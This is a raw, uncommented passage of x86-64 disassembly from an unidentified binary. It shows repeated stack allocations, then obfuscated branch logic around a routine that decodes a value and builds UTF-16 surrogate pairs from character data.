sub rsp, rax
mov qword [rbp + 0x1128], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1188], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1190], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1130], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1138], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1140], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1148], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10f8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1100], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1108], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1110], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1118], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1120], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10d8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10f0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1098], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10a0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x19d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1710], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1770], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1778], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x10d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16b0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1090], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1750], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1088], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1080], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17a0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1888], rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18d8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1690], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1698], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16a0], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16a8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x17a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1680], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1958], rsp
mov eax, 0x60
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1678], rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov rbx, rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1950], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1878], rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18c8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r15, rsp
mov eax, 0x70
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1600], rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1918], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18c0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15e0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15d8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x15b0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1730], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1538], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1540], rsp
mov eax, 0x40
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1558], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1530], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1518], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1500], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14a8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14d0], rsp
mov eax, 0x40
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14e0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x14e8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1798], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1908], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1470], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13d8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1448], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1450], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1458], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1408], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1410], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13b8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13c0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13c8], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x13d0], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1368], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1370], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1338], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1340], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1870], rsp
mov eax, 0x20
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1880], rsp
mov eax, 0x3b0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18d0], rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1748], rsp
mov eax, 0xd0
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x18b8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16c0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16d0], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16c8], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x16d8], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1910], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1758], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1760], rsp
mov eax, 0x30
call fcn.14021cf50
sub rsp, rax
mov qword [rbp + 0x1768], rsp
mov eax, 0x10
call fcn.14021cf50
sub rsp, rax
mov r14, rsp
sub rsp, 0x20
mov ecx, 5
call fcn.140149f30
add rsp, 0x20
lea rax, [0x1415967d9]
mov qword [rdi], rax
mov rcx, qword [rdi]
mov dword [rsi], 0x11f016a2
mov edx, dword [rsi]
sub rsp, 0x20
call fcn.14004c4b0
add rsp, 0x20
mov ecx, dword [rax]
mov edx, ecx
and edx, 0x2cb83e0
add edx, edx
neg edx
lea r8d, [rcx + rdx]
add r8d, 0x82cb83e0
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
mov r9d, eax
shr r9d, 8
mov r10d, eax
or r10b, 0x24
not al
or al, 0xdb
and al, r10b
not al
xor r9b, 0xad
xor dl, 0x48
movzx edx, dl
shl rdx, 0x30
movzx r9d, r9b
shl r9, 0x28
or r9, rdx
movabs rdx, 0x6e85ab8772f4e0
xor rdx, rdx
xor rdx, r9
movzx eax, al
shl rax, 0x20
or rax, rdx
mov dword [r14], r8d
shr rdx, 0x30
mov byte [r14 + 6], dl
shr rax, 0x20
mov qword [rbp + 0x19c0], r14
mov word [r14 + 4], ax
test r8b, r8b
mov qword [rbp + 0x1670], rbx
mov qword [rbp + 0x1658], r15
js 0x140066d4f
nop
mov eax, dword [0x1415b19a8]
mov ecx, dword [0x1415b19ac]
mov edx, eax
not edx
or eax, ecx
not ecx
and ecx, edx
not eax
or eax, ecx
not eax
mov ecx, eax
and ecx, 0x53afb727
add ecx, ecx
mov edx, eax
sub edx, ecx
neg ecx
add eax, ecx
add eax, 0xd3afb727
mov ecx, eax
and ecx, 0xfa191e8b
xor eax, 0x5e6e174
add eax, edx
add eax, 0xd3afb727
sub eax, ecx
cmp eax, 0xfbb5b76d
je 0x140066cf0
movzx r9d, r8b
mov r14d, 1
jmp 0x1400670d6
mov r10d, r8d
shr r10d, 0x10
mov r11d, r8d
shr r11d, 0x18
nop dword [rax]
mov eax, dword [0x1415b1980]
xor edx, edx
div dword [0x1415b1984]
mov edx, eax
not edx
and edx, 0x6e17fd81
mov r9d, eax
and r9d, 0x91e8027e
imul r9d, edx
mov edx, eax
and edx, 0x6e17fd81
or eax, 0x6e17fd81
imul eax, edx
add eax, r9d
and eax, 0xb389fbc1
imul rax, rax, 0x7e819ddf
shr rax, 0x3b
cmp eax, 0x29996a93
je 0x140066d60
mov esi, r8d
shr esi, 8
mov eax, dword [0x1415b1988]
xor edx, edx
div dword [0x1415b198c]
and ecx, 0x1f
mov r9d, ecx
shl r9d, 6
mov eax, esi
not eax
or eax, 0x3f
add esi, eax
inc esi
nop dword [rax]
mov eax, dword [0x1415b1990]
xor edx, edx
div dword [0x1415b1994]
or eax, 0xf3f2fbed
add eax, 0x70bc6e23
cmp eax, 0x928ae4
jb 0x140066de0
mov eax, dword [0x1415b1998]
xor edx, edx
div dword [0x1415b199c]
mov edi, 0x8a0528d5
or r9d, esi
nop word cs:[rax + rax]
mov eax, dword [0x1415b19a0]
xor edx, edx
div dword [0x1415b19a4]
add eax, 0xc07916b3
imul rax, rdi
shr rax, 0x3f
not eax
and eax, 0x8db78bdb
cmp eax, 0xfb761f5f
je 0x140066e20
mov r14d, 2
cmp r8b, 0xdf
jbe 0x1400670d6
shl esi, 6
and r10d, 0x3f
or r10d, esi
nop word cs:[rax + rax]
mov eax, dword [0x1415b19b0]
mov edx, dword [0x1415b19b4]
mov r9d, eax
or r9d, edx
not r9d
not eax
not edx
and edx, eax
or edx, r9d
xor edx, 0x1c083e11
imul rax, rdx, 0xfe69f59
shr rax, 0x3b
or eax, 0x82afe020
cmp eax, 0xc7617a26
je 0x140066e70
mov eax, ecx
shl eax, 0xc
lea r9d, [r10 + rax]
and eax, r10d
sub r9d, eax
nop word [rax + rax]
mov eax, dword [0x1415b19b8]
mov edx, dword [0x1415b19bc]
mov esi, eax
not esi
and esi, edx
mov edi, edx
not edi
and edi, eax
imul edi, esi
mov esi, eax
and esi, edx
or eax, edx
imul eax, esi
add eax, edi
mov edx, eax
and edx, 0x1180894a
mov esi, edx
not esi
mov edi, eax
and edi, 0x10800842
and esi, 0xcd0de13d
imul esi, edi
and eax, 0x1008108
or edx, 0xcd0de13d
imul edx, eax
add edx, esi
mov eax, edx
not eax
and eax, 0x5e5ab6a9
mov esi, edx
and esi, 0xa1a54956
imul esi, eax
mov eax, edx
and eax, 0x5e5ab6a8
or edx, 0x5e5ab6a9
imul edx, eax
add edx, esi
cmp edx, 0x6d645191
ja 0x140066ec0
nop word cs:[rax + rax]
mov eax, dword [0x1415b19c0]
mov edx, dword [0x1415b19c4]
xor edx, eax
not edx
and edx, eax
xor edx, 0xf2c5e8ad
add edx, 0xa5436532
xor edx, 0x23dabe97
cmp edx, 0xe1ff3d7
jb 0x140066f50
mov r14d, 3
cmp r8b, 0xf0
jb 0x140067013
shl ecx, 0x12
mov eax, ecx
xor eax, 0xffe3ffff
or ecx, 0x1c0000
and ecx, eax
shl r10d, 6
mov eax, dword [0x1415b19c8]
xor edx, edx
div dword [0x1415b19cc]
mov eax, r11d
not eax
or eax, 0x3f
lea r9d, [r11 + rax]
inc r9d
not r10d
not r9d
and r9d, r10d
not r9d
nop dword [rax + rax]
mov eax, dword [0x1415b19d0]
xor edx, edx
div dword [0x1415b19d4]
mov edx, eax
not edx
or edx, 0x35c7c558
add eax, edx
inc eax
mov edx, eax
not edx
or edx, 0x30218009
and edx, 0xb633843f
and eax, 0x8c073c0
sub eax, edx
cmp eax, 0xbfb0b8ac
je 0x140066fd0
or r9d, ecx
mov r14d, 4
mov eax, 0xa0ee74af
nop dword [rax + rax]
mov ecx, dword [0x1415b19d8]
sub ecx, dword [0x1415b19dc]
mov rdx, rcx
imul rdx, rax
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, ecx
shr edx, 0x19
shr ecx, 0x18
and ecx, 0xffffff80
sub edx, ecx
add edx, 0x81053d40
mov ecx, edx
xor ecx, 0xcb2edf65
and ecx, edx
cmp ecx, 0x63106b95
ja 0x140067020
cmp r9d, 0xffff
jbe 0x1400670d6
lea ebx, [r9 + 0xff0000]
shr ebx, 0xa
nop word cs:[rax + rax]
mov eax, dword [0x1415b19e4]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [0x1415b19e0]
xor ecx, eax
add ecx, 0xa0dec8c8
xor ecx, 0x6a8286a7
add ecx, 0xe3890569
cmp ecx, 0xe4380f83
ja 0x140067080
or ebx, 0xd800
and r9d, 0x3ff
or r9d, 0xdc00
mov r15d, r9d
xor eax, eax
nop word [rax + rax]
test al, al
jne 0x1400670d0
jmp 0x1400670e8
xor r15d, r15d
nop dword [rax]
test r15b, r15b
jne 0x1400670e0
mov ebx, r9d
mov rax, qword [rbp + 0x19c0]
lea rdx, [rax + 7]
movabs r8, 0x3fffffffffffffff
lea rcx, [rax + r14]
add rdx, 2
mov rax, rdx
not rax
and rax, rcx
not rcx
mov qword [rbp + 0x1a58], rdx
and rcx, rdx
sub rcx, rax
mov r9d, 4
nop word cs:[rax + rax]
mov eax, dword [0x1415b19ec]
mov r10d, eax
xor r10d, eax
not r10d
and r10d, dword [0x1415b19e8]
xor r10d, eax
and r10d, 0xdca33330
add r10d, 0xa59086f
xor r11d, r11d
test r15w, r15w
setne r11b
mov rax, rcx
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
mov eax, r11d
and eax, edx
xor r11, rdx
lea rdx, [r11 + rax*2]
lea rdi, [r11 + rax*2]
inc rdi
cmp rdx, 3
cmovb rdi, r9
cmp r10d, 0x615262f4
ja 0x140067130
cmp rdi, r8
ja 0x14006720b
mov qword [rbp + 0x1948], r12
mov eax, dword [0x1415b19f8]
mov ecx, dword [0x1415b19fc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1d54af9a
and ecx, 0x2ab5065
imul ecx, edx
mov edx, eax
and edx, 0x2ab5065
or eax, 0x2ab5065
imul eax, edx
add eax, ecx
or eax, 0x2049c04a
and eax, 0x3bdff8da
cmp eax, 0x6017fab3
ja 0x140067279
jmp 0x140067255
ud2
mov eax, dword [0x1415b1a00]
xor eax, dword [0x1415b1a04]
add eax, 0xc54dca4e
and eax, 0xc54ad98d
movzx ecx, byte [0x1415d3950]
cmp eax, 0xf7e5f998
jne 0x140067282
movzx eax, byte [0x1415d3950]
jmp 0x140067255
lea rsi, [rdi + rdi]
mov eax, dword [0x1415b1a0c]
mov ecx, eax
xor ecx, eax
not ecx
and ecx, dword [0x1415b1a08]
xor ecx, eax
imul eax, ecx, 0x5fe4af33
and eax, 0x82a00000
cmp eax, 0xaa5b0480
ja 0x140067304
jmp 0x1400672b0
ud2
mov eax, dword [0x1415b1a10]
mov ecx, dword [0x1415b1a14]
mov edx, eax
and edx, ecx
or eax, ecx
add eax, edx
mov r12d, eax
xor r12d, 0x45088054
xor eax, 0x80742e08
and eax, 0x98777f0a
and r12d, 0x678880f5
sub r12d, eax
xor r12d, 0x9da6c973
sub rsp, 0x20
xor ecx, ecx
mov rdx, rsi
call fcn.1401b5e70
add rsp, 0x20
cmp r12d, 0x6409ba59
jae 0x140067318
sub rsp, 0x20
xor ecx, ecx
mov rdx, rsi
call fcn.140219830
add rsp, 0x20
jmp 0x1400672b0
mov rcx, rax
nop dword [rax + rax]
mov eax, dword [0x1415b1a18]
xor edx, edx
div dword [0x1415b1a1c]
mov edx, eax
xor edx, 0xd703cb15
and eax, 0x28fc34ea
add eax, eax
sub eax, edx
imul eax, eax, 0xb606ae9c
add eax, 0x2443c03a
cmp eax, 0x9834541b
jb 0x140067320
test rcx, rcx
je 0x1400673b5
mov eax, dword [0x1415b1a28]
mov edx, dword [0x1415b1a2c]
not eax
mov r8d, eax
and r8d, edx
or eax, edx
not eax
or eax, r8d
mov edx, eax
not edx
and edx, 0xbffb29e
mov r8d, eax
and r8d, 0xf4004d61
imul r8d, edx
mov edx, eax
and edx, 0xbffb29e
or eax, 0xbffb29e
imul eax, edx
add eax, r8d
add eax, 0x4577180d
imul rax, rax, 0x295e729f
shr rax, 0x3d
cmp eax, 0x5f5e95fe
ja 0x14006741f
jmp 0x1400673fb
mov eax, dword [0x1415b1a20]
sub eax, dword [0x1415b1a24]
and eax, 0xf152b5ca
add eax, 0xeead4a35
mov ecx, eax
not ecx
or ecx, 0x2284c010
and eax, 0x15410a41
and ecx, 0x2286d592
or ecx, eax
cmp ecx, 0x6604efe2
jbe 0x1400673ec
ud2
xor eax, eax
nop
ud2
mov eax, dword [0x1415b1a30]
and eax, dword [0x1415b1a34]
xor eax, 0x150d5000
or eax, 0xead2243f
mov word [rcx], bx
mov qword [rbp - 0x78], rdi
cmp eax, 0x1d305209
jne 0x140067428
mov word [rcx], bx
mov qword [rbp - 0x78], rdi
jmp 0x1400673fb
mov eax, dword [0x1415b1a38]
mov edx, dword [0x1415b1a3c]
mov r8d, eax
and r8d, edx
add r8d, r8d
add eax, edx
sub eax, r8d
and eax, 0xfb12a4f5
imul eax, eax, 0x1ccec422
cmp eax, 0x56ff822f
jne 0x140067460
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], 1
mov rbx, qword [rbp + 0x19c0]
nop word [rax + rax]
mov eax, dword [0x1415b1a40]
xor eax, dword [0x1415b1a44]
not eax
or eax, 0x292c9d1e
mov edx, eax
not edx
and eax, 0x36659676
mov r8d, edx
and r8d, 0x40926081
imul r8d, eax
mov eax, edx
and eax, 0x16410260
or edx, 0x36659676
imul edx, eax
add edx, r8d
or edx, 0x8aba1146
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], 1
cmp edx, 0x58b698b4
je 0x140067470
movabs r10, 0xf98479c0f9bf9
mov eax, 1
xor esi, esi
mov qword [rbp + 0x1608], r13
nop
mov r12d, r15d
mov r11, rax
test sil, sil
jne 0x1400674e6
test r12w, r12w
je 0x140067500
xor r15d, r15d
jmp 0x1400678f0
mov eax, dword [0x1415b1a48]
xor edx, edx
div dword [0x1415b1a4c]
mov eax, dword [0x1415b1a50]
mov edx, dword [0x1415b1a54]
add eax, edx
add eax, 0xc8b21ab6
not eax
or eax, 0x873816fd
cmp eax, 0xb2645fc1
je 0x14006750e
cmp r14, 7
je 0x140067b2c
mov eax, dword [0x1415b1a58]
xor edx, edx
div dword [0x1415b1a5c]
mov eax, dword [0x1415b1a60]
or eax, dword [0x1415b1a64]
add eax, 0x7a927a3b
mov edx, 0xb7dc2ec9
imul rax, rdx
shr rax, 0x3f
cmp eax, 0x4dfbce5d
ja 0x140067547
lea r9, [r14 + 1]
movzx r12d, byte [rbx + r14]
nop word cs:[rax + rax]
mov edx, dword [str.BLvT]
mov eax, dword [0x1415b1a6c]
mov r8d, edx
xor r8d, eax
not r8d
and r8d, eax
add r8d, r8d
sub eax, r8d
add eax, edx
and eax, 0x9ecd7015
xor eax, 0x12407004
imul rdx, rax, 0x39601111
shr rdx, 0x20
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
cmp eax, 0xbb0d08e5
ja 0x140067580
test r12b, r12b
js 0x140067650
nop
mov eax, dword [0x1415b1a88]
or eax, dword [0x1415b1a8c]
imul rax, rax, 0x4548b19b
mov rdx, rax
shr rdx, 0x3b
mov r8d, edx
xor r8d, 0x9531b3be
add r8d, edx
bt rax, 0x3b
sbb r8d, 0
mov eax, r8d
xor eax, 0x1ccb33d0
and r8d, 0x130802f
add r8d, r8d
sub r8d, eax
cmp r8d, 0xed87653
jb 0x1400675d0
nop
mov eax, dword [0x1415b1a90]
xor eax, dword [0x1415b1a94]
lea edx, [rax + 0x28d569c5]
not edx
or edx, 0x3c1a8d24
add eax, edx
add eax, 0xaf747a94
cmp eax, 0xd91906d8
jae 0x140067620
mov rdx, r9
jmp 0x1400678e0
mov eax, dword [0x1415b1a70]
add eax, dword [0x1415b1a74]
mov edx, eax
xor edx, 0x142823
and edx, 0x25d62e77
xor eax, 0x12004080
and eax, 0xda29d188
or eax, edx
cmp eax, 0x938717e3
je 0x140067650
mov r8d, r12d
and r8d, 0x1f
mov eax, dword [0x1415b1a78]
xor edx, edx
div dword [0x1415b1a7c]
mov eax, dword [0x1415b1a80]
xor edx, edx
div dword [0x1415b1a84]
add eax, 0x3573ed18
mov edx, eax
not edx
and edx, 0x2e868e7e
and eax, 0xd1797181
sub eax, edx
mov edx, 0xadf4b761
imul rax, rdx
shr rax, 0x3f
cmp eax, 0x31df8771
ja 0x140067692
lea rdx, [r14 + 2]
movzx r9d, byte [rbx + r9]
and r9d, 0x3f
cmp r12b, 0xdf
jbe 0x140067876
nop word cs:[rax + rax]
mov eax, dword [0x1415b1a98]
or eax, dword [0x1415b1a9c]
mov r10d, eax
not r10d
or r10d, 0xfa53842c
add eax, r10d
inc eax
imul r10, rax, 0x54eb671b
shr r10, 0x20
sub eax, r10d
shr eax, 1
add eax, r10d
shr eax, 0x1f
or eax, 0xb4f83e56
add eax, 0x7c4e37b8
jae 0x1400676f0
lea rax, [r14 + 3]
movzx edx, byte [rbx + rdx]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r12b, 0xf0
jb 0x140067882
mov rdi, r14
mov r14, r11
mov r15d, 0xb7abc02b
nop dword [rax + rax]
mov r9d, dword [0x1415b1aa0]
sub r9d, dword [0x1415b1aa4]
mov r10d, r9d
not r10d
mov r11d, r9d
and r11d, 0x3cc6cc1a
and r10d, 0xc33933e5
imul r10d, r11d
mov r11d, r9d
and r11d, 0xc33933e5
or r9d, 0xc33933e5
imul r9d, r11d
add r9d, r10d
xor r9d, 0x5677b8ed
add r9d, 0x6702643e
cmp r9d, 0xb7a2320c
jb 0x140067760
mov r11, r14
nop dword [rax + rax]
mov r9d, dword [0x1415b1aa8]
xor r9d, dword [0x1415b1aac]
imul r9, r15
shr r9, 0x3e
mov r10d, r9d
xor r10d, 0xd19cf749
xor r9d, 0x91902341
and r9d, r10d
cmp r9d, 0xe73655c4
je 0x1400677c0
add rdi, 4
and r8d, 7
shl r8d, 0x12
shl edx, 6
movzx eax, byte [rbx + rax]
nop word cs:[rax + rax]
mov r9d, dword [0x1415b1ab0]
imul r9d, dword [0x1415b1ab4]
and r9d, 0xeb425da5
add r9d, 0x94bda25a
mov r10d, r9d
and r10d, 0x14dec1a7
and r9d, 0x460120
add r9d, r9d
sub r10d, r9d
add r10d, 0xa3471f20
cmp r10d, 0xa0f7a01c
jb 0x140067810
not eax
not edx
or eax, 0xffffffc0
and eax, edx
not eax
mov r12d, eax
xor r12d, r8d
not r8d
and r8d, eax
add r12d, eax
sub r12d, r8d
mov rax, rdi
jmp 0x14006788c
shl r8d, 6
or r8d, r9d
mov r12d, r8d
jmp 0x1400678e0
shl r8d, 0xc
or edx, r8d
mov r12d, edx
movabs r10, 0xf98479c0f9bf9
nop word cs:[rax + rax]
test sil, sil
jne 0x1400678a0
cmp r12d, 0xffff
jbe 0x1400678d8
lea edx, [r12 + 0xff0000]
shr edx, 0xa
or edx, 0xd800
or r12d, 0xdc00
and r12d, 0xdfff
mov r14, rax
mov r15d, r12d
mov r12d, edx
jmp 0x1400678f0
mov rdx, rax
nop dword [rax + rax]
xor r15d, r15d
mov r14, rdx
nop word cs:[rax + rax]
mov eax, dword [0x1415b1ab8]
xor eax, dword [0x1415b1abc]
mov edx, eax
not edx
or eax, 0x9788c92
and edx, 0xa2004125
mov r8d, eax
and r8d, 0xc800090
or r8d, edx
xor r8d, 0x22008001
and eax, 0x80084124
or eax, r8d
or eax, 0x51773e4a
cmp eax, 0xc6de7822
jb 0x1400678f0
cmp r11, qword [rbp - 0x78]
jne 0x140067ab2
mov r8d, 0xc33e400f
lea r9, [rbp - 0x78]
nop word [rax + rax]
mov eax, dword [0x1415b1ad0]
mov ecx, dword [0x1415b1ad4]
mov edx, eax
and edx, ecx
xor eax, ecx
lea eax, [rax + rdx*2]
imul rax, r8
shr rax, 0x3f
or eax, 0x1080c0a4
cmp eax, 0x313c6ace
ja 0x140067950
mov qword [rbp + 0x1a68], r14
lea r13, [rbx + r14]
mov eax, dword [0x1415b1ad8]
mov ecx, dword [0x1415b1adc]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
mov ecx, eax
and ecx, 0x35d51d8a
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0x35d51d8a
or eax, 0x1f7e67df
cmp eax, 0xbdd5a715
jae 0x140067a10
mov rax, qword [rbp + 0x1a58]
sub rax, r13
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 1
cmp r15w, 1
movabs rax, 0x80cad65edb5d1b53
sbb rdx, rax
lea r8, [rdx + rax]
add r8, 2
sub rsp, 0x20
mov rcx, r9
mov rdx, r11
mov rbx, r11
call fcn.140219ee0
movabs r10, 0xf98479c0f9bf9
mov r11, rbx
add rsp, 0x20
mov rdi, qword [rbp + 0x1a58]
mov esi, r15d
movabs r15, 0xaaaaaaaaaaaaaaab
mov eax, dword [0x1415b1ae0]
xor eax, dword [0x1415b1ae4]
or eax, 0xbb2fe9e6
mov ecx, eax
not ecx
or ecx, 0x391a05f1
lea r14d, [rax + rcx]
inc r14d
or r14d, 0xbb16d504
mov rax, rdi
sub rax, r13
mul r15
shr rdx, 1
cmp si, 1
mov r8, r10
sbb r8, 0
add r8, rdx
sub r8, r10
add r8, 2
sub rsp, 0x20
lea rcx, [rbp - 0x78]
mov rdx, r11
mov rbx, r11
call fcn.1402569f0
movabs r10, 0xf98479c0f9bf9
mov r11, rbx
add rsp, 0x20
cmp r14d, 0x408ed595
jb 0x140067a24
mov rcx, qword [rbp - 0x70]
mov rbx, qword [rbp + 0x19c0]
mov r14, qword [rbp + 0x1a68]
mov r15d, esi
xor esi, esi
mov eax, dword [0x1415b1ac0]
imul eax, dword [0x1415b1ac4]
mov edx, eax
not edx
or eax, 0x34386899
and edx, 0x20100
